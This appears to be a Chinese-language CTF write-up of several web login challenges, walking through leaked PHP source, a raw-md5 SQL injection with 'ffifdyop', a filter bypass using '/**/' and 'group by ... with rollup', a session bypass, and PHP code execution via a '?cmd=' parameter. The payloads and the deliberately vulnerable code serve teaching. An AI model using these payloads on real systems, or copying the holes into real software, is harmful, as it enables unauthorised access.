阐释一波密码,依然没有什么 发现,要不扫一下,或者看一看可不可以去爆破密码
就先扫了看看,发现robots.txt
访问看看,出现不允许被访问的目录
还是继续尝试访问看看
就可以下载源码,看看源码
$flag="";
$password=$_POST['password'];
if(strlen($password)>10){
die("password error");
}
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功
";
echo $flag;
}
}
?>
先看sql的语句
username ='admin' and password ='".md5($password,true)."'
在php中.起到了连接的作用,
MD5(string,raw)
参数 | 描述 |
---|---|
string | 必需;规定要计算的字符串。 |
raw | 可选;TRUE - 原始 - 16 字符二进制格式;FALSE - 默认 - 32 字符十六进制数 |
也就是说,我们最终要的这个东西 在md5加密后的16进制转化为二进制后 变成username ='admin' and password =‘ ’or 'xxxxx'的形式;逆过来,我们需要将' or 1=1按照加密规则加密,得到的就是我们最后要的东西,只要md5加密后的16进制转化为二进制时有 'or’xxxx
这里使用ffifdyop
ffifdyop 经过 md5 之后的值为: 276f722736c95d99e921722cf9ed621c ;
276f722736c95d99e921722cf9ed621c 再转成字符串就变成 ’ ’ ‘or’ xxx 拼接到语句中
密码ffifdyop登录
依然是登录框
admin
1' or 1=1
如果密码输入的是空格或者是逗号,也会出现以上的页面,也就是被过滤了
接着上一题的思路,我们首先要看到源码,扫了之后也没有什么发现
但是细心观察一下,就可以看出这一题登录框里面多了一个取消的按钮
点了之后下载了源码
-
-
-
- $flag="";
- function replaceSpecialChar($strParam){
- $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
- return preg_replace($regex,"",$strParam);
- }
- if (!$con)
- {
- die('Could not connect: ' . mysqli_error());
- }
- if(strlen($username)!=strlen(replaceSpecialChar($username))){
- die("sql inject error");
- }
- if(strlen($password)!=strlen(replaceSpecialChar($password))){
- die("sql inject error");
- }
- $sql="select * from user where username = '$username'";
- $result=mysqli_query($con,$sql);
- if(mysqli_num_rows($result)>0){
- while($row=mysqli_fetch_assoc($result)){
- if($password==$row['password']){
- echo "登陆成功
"; - echo $flag;
- }
-
- }
- }
- ?>
-
regex那条语句显示的就是过滤以下字符select|from|where|join|sleep|and|\s|union|,
if(strlen($password)!=strlen(replaceSpecialChar($password))){ die("sql inject error"); }
过滤了双写绕过
显然许多注入的方式都被限制了
下面这个是以前从没有接触过的
group by : 对进行查询的结果进行分组。group by后跟什么,就按什么分组
with rollup: group by 后可以跟with rollup,可以在进行分组统计的基础上再次进行汇总统计。
达到的结果就是通过加入 with rollup 使 sql 语句查询结果 password 有一行为是 null ,在不输入 password 情况下就能达到源码中的条件
输入空的密码就可以得到null==null,
1'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
/**/因为之前测试过过滤了空格,运用它可以进行过滤
这题有点意外,源码直接显示在页面上
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
同样也是过滤了许多的东西select|from|where|join|sleep|and|\s|union|,
最后发现只要$password==$_SESSION['password']
就可得到flag
session
是针对每个用户的,只有客户端才能访问,程序为该客户添加一个 session。session中主要保存用户的登录信息、操作信息等等。此 session将在用户访问结束后自动消失(如果也是超时)。会将信息保存在服务器端
cookie
是针对每个网站的信息,每个网站只能对应一个,其他网站无法访问,这个文件保存在客户端,每次您拨打相应网站,浏览器都会查找该网站的 cookies,如果有,则会将该文件发送出去。cookies文件的内容大致上包括了诸如用户名、密码、设置等信息。会将信息保存在客服端
发现删除所有的session,在上面的细心观察之后,发现,我们打开环境的时候,就发现密码框里面是有东西的,也就是显示出来的条目全部删除,然后以空密码登录即可得到flag
让session和密码为空,就可以达到条件
看一下源码
提示进行 get 传参 ?cmd=
进行一下测试
?cmd=phpinfo();
有页面回显,就证明在cmd处可以进行构造语句进行命令执行
现在想着就是读取到文件,也可以说是源码
用 system() 函数的命令:system(‘ls’) 来读取存在的文件名,但是这个命令没有回显,应该是被限制了,那就换一个
使用 scandir() 函数来查看目录中的文件
?cmd=print_r(scandir(‘./’));
下面这个也是可以的
?cmd=print_r(glob(“*”));
- glob("*") 匹配任意文件;
- glob("*.txt") 匹配以 txt 为后缀的文件。
发现是一个很长的php文件
使用高亮函数
payload:/?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');
show_source函数是highlight_file()函数的别名